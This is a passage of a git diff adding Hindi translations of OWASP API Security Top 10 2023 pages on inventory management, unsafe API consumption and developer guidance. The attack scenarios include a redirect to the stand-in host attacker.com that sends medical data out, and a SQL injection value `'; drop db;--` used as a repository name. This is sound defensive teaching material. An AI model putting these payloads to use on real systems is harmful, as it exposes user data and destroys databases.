डाउनस्ट्रीम/अपस्ट्रीम + घटक के बीच सभी API संचार एन्क्रिप्टेड चैनल (TLS) पर हों—चाहे API आंतरिक + हो या बाहरी। +* निर्दिष्ट करें कि प्रत्येक API किन HTTP वर्ब्स द्वारा एक्सेस किया जा सकता + है: अन्य सभी HTTP वर्ब्स अक्षम होने चाहिए (जैसे, HEAD)। +* ब्राउज़र-आधारित क्लाइंट (जैसे, WebApp फ्रंट-एंड) से एक्सेस किए जाने की + उम्मीद वाले APIs को, कम से कम: + * एक उचित क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS) नीति लागू करनी चाहिए + * लागू सुरक्षा हेडर शामिल करने चाहिए +* आने वाले कंटेंट प्रकारों/डेटा प्रारूपों को केवल उन्हीं तक सीमित करें जो + व्यावसायिक/कार्यात्मक आवश्यकताओं को पूरा करते हों। +* सुनिश्चित करें कि HTTP सर्वर चेन (जैसे, लोड बैलेंसर, रिवर्स और फ़ॉरवर्ड + प्रॉक्सी, और बैक-एंड सर्वर) के सभी सर्वर असंक्रमण (desync) समस्याओं से + बचने के लिए आने वाले अनुरोधों को एकसमान रूप से संसाधित करें। +* जहाँ लागू हो, त्रुटि प्रतिक्रियाओं सहित सभी API प्रतिक्रिया पेलोड स्कीमा + को परिभाषित और लागू करें, ताकि हमलावरों को अपवाद ट्रेस और अन्य मूल्यवान + जानकारी वापस न भेजी जाए। + +## संदर्भ + +### OWASP + +* [OWASP Secure Headers Project][1] +* [कॉन्फ़िगरेशन और परिनियोजन प्रबंधन परीक्षण — वेब सुरक्षा परीक्षण गाइड + (Configuration and Deployment Management Testing - Web Security Testing + Guide)][2] +* [त्रुटि हैंडलिंग परीक्षण — वेब सुरक्षा परीक्षण गाइड + (Testing for Error Handling - Web Security Testing Guide)][3] +* [क्रॉस साइट रिक्वेस्ट फ़ोर्जरी परीक्षण — वेब सुरक्षा परीक्षण गाइड + (Testing for Cross Site Request Forgery - Web Security Testing Guide)][4] + +### बाहरी + +* [CWE-2: Environmental Security Flaws][5] +* [CWE-16: Configuration][6] +* [CWE-209: Generation of Error Message Containing Sensitive Information][7] +* [CWE-319: Cleartext Transmission of Sensitive Information][8] +* [CWE-388: Error Handling][9] +* [CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response + Smuggling')][10] +* [CWE-942: Permissive Cross-domain Policy with Untrusted Domains][11] +* [सामान्य सर्वर सुरक्षा गाइड (Guide to General Server Security)][12], NIST +* [Let's Encrypt: एक निःशुल्क, स्वचालित और ओपन प्रमाणपत्र प्राधिकरण + (Let's Encrypt: a free, automated, and open Certificate Authority)][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/hi/0xa9-improper-inventory-management.md b/editions/2023/hi/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..03f8bee10 --- /dev/null +++ b/editions/2023/hi/0xa9-improper-inventory-management.md @@ -0,0 +1,117 @@ +# API9:2023 इम्प्रॉपर इन्वेंटरी मैनेजमेंट + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **व्यापक** : पहचान क्षमता **औसत** | तकनीकी **मध्यम** : व्यवसाय-विशिष्ट | +| खतरे के कारक आमतौर पर पुराने API संस्करणों या बिना पैच के चल रहे ऐसे एंडपॉइंट के ज़रिए अनधिकृत पहुँच बना लेते हैं जिनकी सुरक्षा आवश्यकताएँ कमज़ोर होती हैं। कुछ मामलों में शोषण के उपकरण उपलब्ध होते हैं। वैकल्पिक रूप से, वे किसी ऐसे थर्ड पार्टी के माध्यम से संवेदनशील डेटा तक पहुँच प्राप्त कर सकते हैं जिसके साथ डेटा साझा करने का कोई कारण नहीं है। | पुराना दस्तावेज़ीकरण भेद्यताओं को खोजना और/या ठीक करना अधिक कठिन बनाता है। परिसंपत्ति इन्वेंटरी और पुरानी API सेवाओं को बंद करने की रणनीतियों की कमी के कारण सिस्टम बिना पैच के चलते रहते हैं, जिससे संवेदनशील डेटा लीक होता है। माइक्रोसर्विसेज़ जैसी आधुनिक अवधारणाओं—जो एप्लिकेशन को तैनात करना और स्वतंत्र बनाना आसान बनाती हैं (जैसे, क्लाउड कंप्यूटिंग, K8S)—के कारण अनावश्यक रूप से उजागर API होस्ट मिलना आम है। सरल Google Dorking, DNS एन्यूमरेशन, या इंटरनेट से जुड़े विभिन्न प्रकार के सर्वरों (वेबकैम, राउटर, सर्वर आदि) के लिए विशेष खोज इंजनों का उपयोग लक्ष्य खोजने के लिए पर्याप्त होगा। | हमलावर संवेदनशील डेटा तक पहुँच प्राप्त कर सकते हैं, या यहाँ तक कि सर्वर पर कब्ज़ा कर सकते हैं। कभी-कभी विभिन्न API संस्करण/परिनियोजन एक ही डेटाबेस से जुड़े होते हैं जिसमें वास्तविक डेटा होता है। खतरे के कारक प्रशासनिक फ़ंक्शन तक पहुँचने या ज्ञात भेद्यताओं का शोषण करने के लिए पुराने API संस्करणों में उपलब्ध अप्रचलित एंडपॉइंट का शोषण कर सकते हैं। | + +## क्या API भेद्य है? + +APIs और आधुनिक एप्लिकेशन का व्यापक और परस्पर जुड़ा स्वरूप नई चुनौतियाँ +सामने लाता है। संगठनों के लिए न केवल अपनी APIs और API एंडपॉइंट को अच्छी तरह +समझना और उन पर दृश्यता बनाए रखना महत्वपूर्ण है, बल्कि यह भी जानना ज़रूरी है +कि APIs बाहरी तृतीय पक्षों के साथ डेटा कैसे संग्रहीत या साझा कर रही हैं। + +API के कई संस्करण एक साथ चलाने से API प्रदाता पर अतिरिक्त प्रबंधन का बोझ +पड़ता है और हमले की सतह भी बढ़ जाती है। + +यदि निम्नलिखित में से कोई स्थिति हो तो API में "दस्तावेज़ीकरण अंधस्थान +(documentation blindspot)" है: + +* API होस्ट का उद्देश्य स्पष्ट नहीं है, और निम्नलिखित प्रश्नों के स्पष्ट + उत्तर नहीं हैं + * API किस परिवेश में चल रही है (जैसे, production, staging, test, + development)? + * API तक नेटवर्क पहुँच किसे होनी चाहिए (जैसे, public, internal, + partners)? + * कौन सा API संस्करण चल रहा है? +* कोई दस्तावेज़ीकरण नहीं है या मौजूदा दस्तावेज़ीकरण अद्यतन नहीं है। +* प्रत्येक API संस्करण को बंद करने की कोई योजना नहीं है। +* होस्ट की इन्वेंटरी अनुपस्थित है या पुरानी है। + +यदि किसी थर्ड पार्टी की ओर से डेटा उल्लंघन हो, तो घटना प्रतिक्रिया +योजना में संवेदनशील डेटा प्रवाह की दृश्यता और इन्वेंटरी की अहम भूमिका होती है। + +यदि निम्नलिखित में से कोई स्थिति हो तो API में "डेटा प्रवाह अंधस्थान +(data flow blindspot)" है: + +* एक "संवेदनशील डेटा प्रवाह" है जहाँ API किसी तृतीय पक्ष के साथ संवेदनशील + डेटा साझा करती है और + * प्रवाह का कोई व्यावसायिक औचित्य या अनुमोदन नहीं है + * प्रवाह की कोई इन्वेंटरी या दृश्यता नहीं है + * कौन सा प्रकार का संवेदनशील डेटा साझा किया जा रहा है, इसकी गहरी + दृश्यता नहीं है + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +एक सोशल नेटवर्क ने एक रेट लिमिटिंग (rate-limiting) तंत्र लागू किया था जो +हमलावरों को पासवर्ड रीसेट टोकन का अनुमान लगाने के लिए ब्रूट फ़ोर्स का +उपयोग करने से रोकता था। यह तंत्र API कोड में नहीं बल्कि क्लाइंट और आधिकारिक +API (`api.socialnetwork.owasp.org`) के बीच एक अलग घटक में लागू किया गया था। +एक शोधकर्ता को एक बीटा API होस्ट (`beta.api.socialnetwork.owasp.org`) मिला +जो वही API चलाता था, पासवर्ड रीसेट तंत्र सहित, लेकिन रेट लिमिटिंग तंत्र +वहाँ नहीं था। शोधकर्ता सरल ब्रूट फ़ोर्स से 6 अंकों का टोकन अनुमान लगाकर +किसी भी उपयोगकर्ता का पासवर्ड रीसेट करने में सफल रहा। + +### परिदृश्य #2 + +एक सोशल नेटवर्क स्वतंत्र एप्लिकेशन के डेवलपरों को उसके साथ एकीकृत होने देता +है। इस प्रक्रिया के हिस्से के रूप में अंतिम उपयोगकर्ता से सहमति माँगी जाती +है, ताकि सोशल नेटवर्क उपयोगकर्ता की व्यक्तिगत जानकारी स्वतंत्र एप्लिकेशन के +साथ साझा कर सके। + +सोशल नेटवर्क और स्वतंत्र एप्लिकेशन के बीच डेटा प्रवाह पर्याप्त रूप से +प्रतिबंधित या निगरानी में नहीं है, जिससे स्वतंत्र एप्लिकेशन न केवल उपयोगकर्ता +की जानकारी बल्कि उसके सभी मित्रों की निजी जानकारी तक भी पहुँच सकते हैं। + +एक परामर्श फ़र्म एक दुर्भावनापूर्ण एप्लिकेशन बनाती है और 2,70,000 +उपयोगकर्ताओं की सहमति प्राप्त कर लेती है। इस खामी के कारण, परामर्श फ़र्म +5,00,00,000 उपयोगकर्ताओं की निजी जानकारी तक पहुँच प्राप्त कर लेती है। बाद +में, परामर्श फ़र्म इस जानकारी को दुर्भावनापूर्ण उद्देश्यों के लिए बेच देती है। + +## रोकथाम कैसे करें + +* सभी API होस्ट की इन्वेंटरी बनाएँ और प्रत्येक के महत्वपूर्ण + पहलुओं का दस्तावेज़ीकरण करें—API परिवेश (जैसे, production, staging, test, + development), होस्ट तक नेटवर्क पहुँच किसे होनी चाहिए (जैसे, public, + internal, partners), और API संस्करण पर ध्यान देते हुए। +* एकीकृत सेवाओं (integrated services) की इन्वेंटरी बनाएँ और + महत्वपूर्ण पहलुओं जैसे सिस्टम में उनकी भूमिका, कौन सा डेटा आदान-प्रदान + होता है (डेटा प्रवाह), और उनकी संवेदनशीलता का दस्तावेज़ीकरण करें। +* अपनी API के सभी पहलुओं जैसे प्रमाणीकरण, त्रुटियाँ, रीडायरेक्ट, रेट + लिमिटिंग, क्रॉस-ओरिजिन रिसोर्स शेयरिंग (CORS) नीति, और एंडपॉइंट—उनके + पैरामीटर, अनुरोध, और प्रतिक्रिया सहित—का दस्तावेज़ीकरण करें। +* खुले मानकों को अपनाकर दस्तावेज़ीकरण स्वचालित रूप से तैयार करें। अपने + CI/CD पाइपलाइन में दस्तावेज़ीकरण बिल्ड शामिल करें। +* API दस्तावेज़ीकरण केवल API का उपयोग करने के लिए अधिकृत लोगों के लिए + उपलब्ध कराएँ। +* केवल वर्तमान प्रोडक्शन संस्करण के लिए नहीं, बल्कि अपनी APIs के सभी + उजागर संस्करणों के लिए बाहरी सुरक्षा उपाय जैसे API-सुरक्षा-विशिष्ट + समाधान उपयोग करें। +* गैर-प्रोडक्शन API परिनियोजन के साथ प्रोडक्शन डेटा का उपयोग करने से + बचें। यदि यह अपरिहार्य है, तो इन एंडपॉइंट को प्रोडक्शन जैसी ही सुरक्षा + प्रदान की जानी चाहिए। +* जब API के नए संस्करणों में सुरक्षा सुधार शामिल हों, तो पुराने संस्करणों + के लिए आवश्यक शमन कार्यों को सूचित करने हेतु जोखिम विश्लेषण करें। उदाहरण + के लिए, क्या API संगतता तोड़े बिना सुधारों को बैकपोर्ट करना संभव है या + आपको पुराने संस्करण को जल्दी हटाना होगा और सभी क्लाइंट को नवीनतम संस्करण + पर जाने के लिए बाध्य करना होगा। + +## संदर्भ + +### OWASP + +* [REST सुरक्षा चीट शीट (REST Security Cheat Sheet)][2] + +### बाहरी + +* [CWE-1059: Incomplete Documentation][1] +* "इन्वेंटरी मैनेजमेंट (Inventory Management)" - [माइक्रोसर्विसेज़-आधारित + एप्लिकेशन सिस्टम के लिए सुरक्षा रणनीतियाँ (Security Strategies for + Microservices-based Application Systems)][3], NIST + +[1]: https://cwe.mitre.org/data/definitions/1059.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[3]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/hi/0xaa-unsafe-consumption-of-apis.md b/editions/2023/hi/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..31cd207dd --- /dev/null +++ b/editions/2023/hi/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,110 @@ +# API10:2023 अनसेफ़ कंज़म्पशन ऑफ़ APIs + +| खतरे के कारक/हमले के वेक्टर | सुरक्षा कमज़ोरी | प्रभाव | +| - | - | - | +| API-विशिष्ट : शोषण क्षमता **आसान** | व्यापकता **सामान्य** : पहचान क्षमता **औसत** | तकनीकी **गंभीर** : व्यवसाय-विशिष्ट | +| इस भेद्यता का शोषण करने के लिए हमलावरों को उन APIs/सेवाओं की पहचान करनी होती है—और उन्हें compromize भी करना पड़ सकता है—जिनसे लक्षित API एकीकृत है। आमतौर पर यह जानकारी सार्वजनिक रूप से उपलब्ध नहीं होती या एकीकृत API/सेवा आसानी से शोषण योग्य नहीं होती। | डेवलपर बाहरी या थर्ड-पार्टी APIs के साथ इंटरेक्ट करने वाले एंडपॉइंट पर भरोसा करते हैं और उन्हें सत्यापित नहीं करते, परिवहन सुरक्षा, प्रमाणीकरण/प्राधिकरण, और इनपुट सत्यापन व sanitization जैसी कमज़ोर सुरक्षा आवश्यकताओं पर निर्भर रहते हैं। हमलावरों को उन सेवाओं की पहचान करनी होती है जिनके साथ लक्षित API एकीकृत है (डेटा स्रोत) और अंततः उन्हें compromize करना होता है। | प्रभाव इस बात पर निर्भर करता है कि लक्षित API खींचे गए डेटा के साथ क्या करती है। सफल शोषण से अनधिकृत कारकों को संवेदनशील जानकारी का प्रकटीकरण, विभिन्न प्रकार के इंजेक्शन, या सेवा अस्वीकृति (denial of service) हो सकती है। | + +## क्या API भेद्य है? + +डेवलपर थर्ड-पार्टी APIs से प्राप्त डेटा पर उपयोगकर्ता इनपुट से अधिक भरोसा +करते हैं। यह विशेष रूप से जानी-मानी कंपनियों द्वारा प्रदान की जाने वाली APIs +के लिए सच है। इसीलिए डेवलपर कमज़ोर सुरक्षा मानक अपनाते हैं, उदाहरण के लिए, +इनपुट सत्यापन और sanitization के संदर्भ में। + +यदि निम्नलिखित में से कोई स्थिति हो तो API भेद्य हो सकती है: + +* अनएन्क्रिप्टेड चैनल पर अन्य APIs के साथ इंटरेक्ट करती है; +* अन्य APIs से एकत्रित डेटा को संसाधित करने या डाउनस्ट्रीम घटकों को भेजने से + पहले उसे उचित रूप से सत्यापित और sanitize नहीं करती है; +* रीडायरेक्शन का आँख मूँद कर अनुसरण करती है; +* थर्ड-पार्टी सेवाओं की प्रतिक्रियाओं को संसाधित करने के लिए उपलब्ध + संसाधनों की संख्या सीमित नहीं करती है; +* थर्ड-पार्टी सेवाओं के साथ इंटरेक्शन के लिए टाइमआउट लागू नहीं करती है; + +## उदाहरण हमले के परिदृश्य + +### परिदृश्य #1 + +एक API उपयोगकर्ता द्वारा दिए गए व्यावसायिक पतों को समृद्ध करने के लिए एक +थर्ड-पार्टी सेवा पर निर्भर है। जब अंतिम उपयोगकर्ता API को कोई पता देता है, +तो इसे थर्ड-पार्टी सेवा को भेजा जाता है और लौटाया गया डेटा फिर एक स्थानीय +SQL-सक्षम डेटाबेस में संग्रहीत होता है। + +हमलावर थर्ड-पार्टी सेवा में अपने बनाए हुए एक व्यवसाय से जुड़ा SQLi पेलोड +डाल देते हैं। फिर वे भेद्य API को ऐसा विशिष्ट इनपुट देते हैं जिससे वह +थर्ड-पार्टी सेवा से उनका "दुर्भावनापूर्ण व्यवसाय" pull कर लेती है। SQLi +पेलोड अंत में डेटाबेस execute कर देता है, और डेटा हमलावर के नियंत्रित सर्वर +पर exfiltrate हो जाता है। + +### परिदृश्य #2 + +एक API संवेदनशील उपयोगकर्ता चिकित्सा जानकारी को सुरक्षित रूप से संग्रहीत +करने के लिए एक थर्ड-पार्टी सेवा प्रदाता के साथ एकीकृत है। नीचे दिए गए जैसे +HTTP अनुरोध का उपयोग करके डेटा सुरक्षित कनेक्शन पर भेजा जाता है: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +हमलावरों ने थर्ड-पार्टी API को compromize कर लिया, और वह अब पिछले जैसे +अनुरोधों पर `308 Permanent Redirect` के साथ जवाब देने लगी। + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +चूँकि API थर्ड-पार्टी रीडायरेक्ट का आँख मूँद कर अनुसरण करती है, यह बिल्कुल +वही अनुरोध उपयोगकर्ता के संवेदनशील डेटा सहित दोहराएगी, लेकिन इस बार +हमलावर के सर्वर पर। + +### परिदृश्य #3 + +एक हमलावर `'; drop db;--` नाम की git रिपॉज़िटरी तैयार कर सकता है। + +जब कोई एप्लिकेशन इस दुर्भावनापूर्ण रिपॉज़िटरी के साथ integrate करती है, तो SQL +injection पेलोड काम कर जाता है—क्योंकि एप्लिकेशन रिपॉज़िटरी के नाम को +सुरक्षित इनपुट मानकर SQL क्वेरी बनाती है। + +## रोकथाम कैसे करें + +* सेवा प्रदाताओं का मूल्यांकन करते समय, उनकी API सुरक्षा स्थिति का आकलन + करें। +* सुनिश्चित करें कि सभी API इंटरेक्शन एक सुरक्षित संचार चैनल (TLS) पर हों। +* उपयोग से पहले एकीकृत APIs से प्राप्त डेटा को हमेशा सत्यापित और उचित रूप + से sanitize करें। +* उन जाने-माने स्थानों की अनुमति सूची (allowlist) बनाए रखें जहाँ एकीकृत APIs + आपको रीडायरेक्ट कर सकती हैं: रीडायरेक्ट का आँख मूँद कर अनुसरण न करें। + + +## संदर्भ + +### OWASP + +* [वेब सर्विस सुरक्षा चीट शीट (Web Service Security Cheat Sheet)][1] +* [इंजेक्शन खामियाँ (Injection Flaws)][2] +* [इनपुट सत्यापन चीट शीट (Input Validation Cheat Sheet)][3] +* [इंजेक्शन रोकथाम चीट शीट (Injection Prevention Cheat Sheet)][4] +* [ट्रांसपोर्ट लेयर सुरक्षा चीट शीट (Transport Layer Protection Cheat Sheet)][5] +* [असत्यापित रीडायरेक्ट और फ़ॉरवर्ड चीट शीट (Unvalidated Redirects and Forwards + Cheat Sheet)][6] + +### बाहरी + +* [CWE-20: Improper Input Validation][7] +* [CWE-200: Exposure of Sensitive Information to an Unauthorized Actor][8] +* [CWE-319: Cleartext Transmission of Sensitive Information][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html diff --git a/editions/2023/hi/0xb0-next-devs.md b/editions/2023/hi/0xb0-next-devs.md new file mode 100644 index 000000000..252431647 --- /dev/null +++ b/editions/2023/hi/0xb0-next-devs.md @@ -0,0 +1,37 @@ +# डेवलपर्स के लिए आगे क्या + +सुरक्षित एप्लिकेशन बनाना और बनाए रखना, या मौजूदा एप्लिकेशन को सुधारना, कठिन +हो सकता है। APIs के लिए भी यही बात लागू होती है। + +हम मानते हैं कि सुरक्षित सॉफ़्टवेयर लिखने के लिए शिक्षा और जागरूकता प्रमुख +कारक हैं। बाकी सब कुछ **दोहराने योग्य सुरक्षा प्रक्रियाओं और मानक सुरक्षा +नियंत्रणों को अपनाने और उनका पालन करने** पर निर्भर करता है। + +OWASP सुरक्षा को मज़बूत बनाने में मदद के लिए कई मुफ़्त और ओपन-सोर्स +संसाधन उपलब्ध कराता है। उपलब्ध प्रोजेक्ट्स की विस्तृत सूची के लिए कृपया [OWASP Projects पेज][1] +देखें। + +| | | +|-|-| +| **शिक्षा (Education)** | [Application Security Wayfinder][2] आपको सॉफ़्टवेयर डेवलपमेंट लाइफ़साइकिल (Software Development LifeCycle, SDLC) के प्रत्येक चरण/फ़ेज़ के लिए उपलब्ध प्रोजेक्ट्स का अच्छा अंदाज़ा देगा। हाथों-हाथ सीखने/प्रशिक्षण के लिए आप [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] या [OWASP Juice Shop][4] से शुरू कर सकते हैं: दोनों में जानबूझकर भेद्य (vulnerable) API हैं। [OWASP Vulnerable Web Applications Directory Project][5] जानबूझकर भेद्य एप्लिकेशन की एक चुनी हुई सूची प्रदान करता है: वहाँ आपको कई अन्य भेद्य API मिलेंगे। आप [OWASP AppSec Conference][6] के प्रशिक्षण सत्रों में भी भाग ले सकते हैं, या [अपने स्थानीय चैप्टर से जुड़ सकते हैं][7]। | +| **सुरक्षा आवश्यकताएँ (Security Requirements)** | सुरक्षा शुरू से ही हर प्रोजेक्ट का हिस्सा होनी चाहिए। आवश्यकताएँ परिभाषित करते समय यह तय करना ज़रूरी है कि उस प्रोजेक्ट के लिए "सुरक्षित" का क्या अर्थ है। OWASP सुझाव देता है कि आप सुरक्षा आवश्यकताएँ निर्धारित करने के लिए [OWASP Application Security Verification Standard (ASVS)][8] को मार्गदर्शिका के रूप में उपयोग करें। यदि आप आउटसोर्स कर रहे हैं, तो [OWASP Secure Software Contract Annex][9] पर विचार करें, जिसे स्थानीय कानून और नियमों के अनुसार अनुकूलित किया जाना चाहिए। | +| **सुरक्षा आर्किटेक्चर (Security Architecture)** | प्रोजेक्ट के सभी चरणों में सुरक्षा एक चिंता का विषय बनी रहनी चाहिए। [OWASP Cheat Sheet Series][10] आर्किटेक्चर चरण के दौरान सुरक्षा को डिज़ाइन में शामिल करने के तरीके पर मार्गदर्शन के लिए एक अच्छा प्रारंभिक बिंदु है। कई अन्य के अलावा, आपको [REST Security Cheat Sheet][11] और [REST Assessment Cheat Sheet][12] तथा [GraphQL Cheat Sheet][13] भी मिलेंगे। | +| **मानक सुरक्षा नियंत्रण (Standard Security Controls)** | मानक सुरक्षा नियंत्रण अपनाने से अपना कोड लिखते समय सुरक्षा कमज़ोरियाँ आने का जोखिम कम हो जाता है। हालाँकि कई आधुनिक फ़्रेमवर्क अब प्रभावी बिल्ट-इन मानक नियंत्रणों के साथ आते हैं, [OWASP Proactive Controls][14] आपको इस बात का अच्छा अवलोकन देता है कि आपको अपने प्रोजेक्ट में कौन से सुरक्षा नियंत्रण शामिल करने चाहिए। OWASP कुछ लाइब्रेरी और टूल भी प्रदान करता है जो आपको उपयोगी लग सकते हैं, जैसे सत्यापन नियंत्रण। | +| **सुरक्षित सॉफ़्टवेयर डेवलपमेंट लाइफ़साइकिल (Secure Software Development Life Cycle)** | API बनाने की प्रक्रियाओं को बेहतर बनाने के लिए आप [OWASP Software Assurance Maturity Model (SAMM)][15] का उपयोग कर सकते हैं। API विकास के विभिन्न चरणों के दौरान आपकी मदद के लिए कई अन्य OWASP प्रोजेक्ट उपलब्ध हैं, जैसे [OWASP Code Review Guide][16]। | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ diff --git a/editions/2023/hi/0xb1-next-devsecops.md b/editions/2023/hi/0xb1-next-devsecops.md new file mode 100644 index 000000000..955a09190 --- /dev/null +++ b/editions/2023/hi/0xb1-next-devsecops.md @@ -0,0 +1,29 @@ +# DevSecOps के लिए आगे क्या + +आधुनिक एप्लिकेशन आर्किटेक्चर में उनके महत्व को देखते हुए, सुरक्षित API बनाना +अत्यंत आवश्यक है। सुरक्षा को नज़रअंदाज़ नहीं किया जा सकता, और यह पूरे +डेवलपमेंट लाइफ़साइकिल का हिस्सा होनी चाहिए। सालाना स्कैनिंग और पेनिट्रेशन +टेस्टिंग (penetration testing) अब पर्याप्त नहीं है। + +DevSecOps को डेवलपमेंट प्रक्रिया में सक्रिय भागीदारी करनी चाहिए और पूरे +SDLC में निरंतर सुरक्षा परीक्षण (continuous security testing) सुनिश्चित करना +चाहिए। लक्ष्य यह होना चाहिए कि सुरक्षा स्वचालन (security automation) से डेवलपमेंट +पाइपलाइन को मज़बूत बनाया जाए—बिना डेवलपमेंट की गति धीमी किए। + +संदेह की स्थिति में, सूचित रहें और [DevSecOps Manifesto][1] को देखें। + +| | | +|-|-| +| **खतरा मॉडल को समझें (Understand the Threat Model)** | परीक्षण प्राथमिकताएँ एक खतरा मॉडल (threat model) से आती हैं। यदि आपके पास कोई नहीं है, तो शुरुआत के लिए [OWASP Application Security Verification Standard (ASVS)][2] और [OWASP Testing Guide][3] का सहारा लें। डेवलपमेंट टीम को शामिल करने से उन्हें अधिक सुरक्षा-जागरूक बनाने में मदद मिलेगी। | +| **SDLC को समझें (Understand the SDLC)** | सॉफ़्टवेयर डेवलपमेंट लाइफ़साइकिल (Software Development Life Cycle) को बेहतर समझने के लिए डेवलपमेंट टीम से जुड़ें। निरंतर सुरक्षा परीक्षण में आपका योगदान टीम के लोगों, मौजूदा प्रक्रियाओं और टूल के अनुरूप होना चाहिए। सभी को प्रक्रिया से सहमत होना चाहिए, ताकि कोई अनावश्यक रुकावट या विरोध न हो। | +| **परीक्षण रणनीतियाँ (Testing Strategies)** | चूँकि आपके काम से डेवलपमेंट की गति प्रभावित नहीं होनी चाहिए, इसलिए सुरक्षा आवश्यकताओं को सत्यापित करने के लिए सबसे अच्छी (सरल, सबसे तेज़, सबसे सटीक) तकनीक समझदारी से चुनें। [OWASP Security Knowledge Framework][4] और [OWASP Application Security Verification Standard][2] कार्यात्मक और गैर-कार्यात्मक सुरक्षा आवश्यकताओं के बेहतरीन स्रोत हो सकते हैं। [DevSecOps community][7] के अलावा भी [प्रोजेक्ट्स][5] और [टूल्स][6] के कई उपयोगी स्रोत मौजूद हैं। | +| **कवरेज और सटीकता प्राप्त करना (Achieving Coverage and Accuracy)** | आप डेवलपर्स और ऑपरेशन टीमों के बीच सेतु हैं। कवरेज हासिल करने के लिए, आपको केवल कार्यक्षमता पर नहीं बल्कि ऑर्केस्ट्रेशन पर भी ध्यान देना चाहिए। अपना समय और प्रयास अनुकूलित करने के लिए शुरू से ही डेवलपमेंट और ऑपरेशन दोनों टीमों के साथ मिलकर काम करें। आपका लक्ष्य ऐसी स्थिति होनी चाहिए जहाँ आवश्यक सुरक्षा का निरंतर सत्यापन हो। | +| **निष्कर्ष स्पष्ट रूप से संप्रेषित करें (Clearly Communicate Findings)** | कम से कम रुकावट के साथ काम में मूल्य जोड़ें। जो टूल डेवलपमेंट टीमें पहले से इस्तेमाल करती हैं, उन्हीं में समय पर निष्कर्ष साझा करें (PDF नहीं)। निष्कर्षों पर काम करने के लिए डेवलपमेंट टीम के साथ मिलें। उन्हें शिक्षित करने का अवसर लें, कमज़ोरी और उसके शोषण के तरीके को स्पष्ट रूप से समझाएँ, और इसे वास्तविक बनाने के लिए एक हमले का परिदृश्य (attack scenario) शामिल करें। | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org diff --git a/editions/2023/hi/0xd0-about-data.md b/editions/2023/hi/0xd0-about-data.md new file mode 100644 index 000000000..ea29dfd79 --- /dev/null +++ b/editions/2023/hi/0xd0-about-data.md @@ -0,0 +1,73 @@ +# कार्यप्रणाली और डेटा + +## अवलोकन + +इस सूची को अपडेट करने के लिए OWASP API Security टीम ने वही कार्यप्रणाली +अपनाई जो सफल और व्यापक रूप से अपनाई गई 2019 सूची में उपयोग हुई थी—साथ में +3 महीने के [सार्वजनिक डेटा आह्वान][1] को भी जोड़ा गया। दुर्भाग्यवश, इस डेटा आह्वान से ऐसा डेटा नहीं मिल सका जो सबसे सामान्य API +सुरक्षा समस्याओं का सार्थक सांख्यिकीय विश्लेषण संभव बनाता। + +हालाँकि, API सुरक्षा उद्योग अब अधिक परिपक्व हो चुका है और सीधी प्रतिक्रिया +व 